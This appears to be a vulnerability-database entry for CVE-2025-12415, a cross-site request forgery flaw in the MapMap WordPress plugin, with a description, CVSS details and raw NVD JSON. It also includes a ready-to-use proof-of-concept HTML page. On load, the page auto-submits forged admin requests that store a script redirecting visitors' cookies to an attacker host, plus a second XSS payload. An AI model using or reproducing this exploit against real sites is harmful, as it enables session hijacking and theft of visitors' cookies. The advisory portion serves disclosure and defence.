Security Vulnerability Report
中文
CVE-2025-12415 CVSS 6.1 MEDIUM

CVE-2025-12415

Published: 2025-11-04 05:16:14
Last Modified: 2026-04-15 00:35:42

Description

The MapMap plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on the admin_shortcode_submit, admin_configuration_submit, and admin_shortcode_delete functions. This makes it possible for unauthenticated attackers to update the plugin's settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MapMap plugin for WordPress <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12415 CSRF PoC - Inject malicious JavaScript via plugin settings --> <html> <body> <h1>MapMap Plugin CSRF Attack PoC</h1> <p>诱骗管理员访问此页面将自动提交恶意配置更新请求</p> <!-- CSRF form to inject XSS payload via admin_configuration_submit --> <form action="http://target-wordpress-site.com/wp-admin/admin.php?page=mapmap" method="POST" id="csrfForm1"> <input type="hidden" name="action" value="admin_configuration_submit"> <input type="hidden" name="mapmap_width" value="100%"> <input type="hidden" name="mapmap_height" value="500px"> <!-- XSS payload in plugin settings --> <input type="hidden" name="mapmap_custom_css" value="</style><script>alert('XSS by CSRF');document.location='http://attacker.com/steal?cookie='+document.cookie;</script>"> <input type="hidden" name="mapmap_api_key" value=""> </form> <!-- CSRF form to create malicious shortcode via admin_shortcode_submit --> <form action="http://target-wordpress-site.com/wp-admin/admin.php?page=mapmap" method="POST" id="csrfForm2"> <input type="hidden" name="action" value="admin_shortcode_submit"> <input type="hidden" name="shortcode_name" value="malicious_map"> <input type="hidden" name="shortcode_lat" value="39.9042"> <input type="hidden" name="shortcode_lng" value="116.4074"> <input type="hidden" name="shortcode_zoom" value="12"> <input type="hidden" name="shortcode_title" value="<img src=x onerror=alert('Stored XSS via CSRF')>"> </form> <script> // Auto-submit both forms when page loads document.getElementById('csrfForm1').submit(); setTimeout(function() { document.getElementById('csrfForm2').submit(); }, 1000); </script> <p>如果看到此文本,说明攻击请求已发送。</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12415", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:13.530", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MapMap plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.1. This is due to missing or incorrect nonce validation on the admin_shortcode_submit, admin_configuration_submit, and admin_shortcode_delete functions. This makes it possible for unauthenticated attackers to update the plugin's settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mapmap/tags/1.1/mapmap.php#L397", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mapmap/tags/1.1/mapmap.php#L418", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mapmap/tags/1.1/mapmap.php#L447", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7c0ed22d-6102-47d6-9afb-fed8515ea74c?source=cve", "source": "[email protected]"}]}}